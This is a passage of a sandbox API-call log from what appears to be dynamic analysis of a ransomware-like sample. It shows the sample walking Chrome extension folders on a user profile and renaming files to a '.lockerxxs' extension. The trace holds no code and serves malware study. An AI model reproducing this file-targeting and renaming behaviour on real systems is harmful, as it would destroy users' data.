dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.831] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.833] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.836] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.838] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.841] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.843] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.845] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.847] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.850] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.852] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.855] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.857] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.860] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.862] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.865] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.867] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85adb210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85adb210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85adb210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.870] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.875] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.878] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b01370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b01370, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.880] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b01370, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.883] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.885] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.888] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.890] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x20004f, dwReserved1=0x450044, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.892] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*", lpFindFileData=0x18ee78 | out: lpFindFileData=0x18ee78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5027d8 [0078.896] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502758 [0078.897] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x504508, dwReserved1=0x504503, cFileName=".", cAlternateFileName="")) returned 0x502798 [0078.906] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.lockerxxs")) returned 1 [0078.910] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.lockerxxs")) returned 1 [0078.914] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.lockerxxs")) returned 1 [0078.915] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*", lpFindFileData=0x18ee78 | out: lpFindFileData=0x18ee78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18ece0, dwReserved1=0x506644, cFileName=".", cAlternateFileName="")) returned 0x5027d8 [0078.918] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x506518, dwReserved1=0x506513, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.920] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.922] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.925] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430045, dwReserved1=0x590052, cFileName=".", cAlternateFileName="")) returned 0x502818 [0078.927] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x18ed28 | out: lpFindFileData=0x18ed28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 